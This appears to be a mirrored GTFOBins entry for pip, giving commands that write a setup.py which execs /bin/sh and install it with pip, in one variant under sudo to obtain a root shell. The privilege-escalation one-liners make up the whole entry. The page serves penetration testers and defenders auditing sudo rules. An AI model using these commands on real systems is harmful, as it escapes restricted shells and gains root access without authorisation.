mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 14:59:44 +01:00
18 lines
558 B
Markdown
18 lines
558 B
Markdown
---
|
|
description: |
|
|
More generally, this allows to execute arbitrary Python code.
|
|
|
|
See the entries of Python [version 2](/gtfobins/python2/) and [version 3](/gtfobins/python3/).
|
|
functions:
|
|
execute-interactive:
|
|
- code: |
|
|
TF=$(mktemp -d)
|
|
echo 'import os; os.dup2(0, 1); os.dup2(0, 2); os.execl("/bin/sh", "sh")' > $TF/setup.py
|
|
pip install $TF
|
|
sudo-enabled:
|
|
- code: |
|
|
TF=$(mktemp -d)
|
|
echo 'import os; os.dup2(0, 1); os.dup2(0, 2); os.execl("/bin/sh", "sh")' > $TF/setup.py
|
|
sudo pip install $TF
|
|
---
|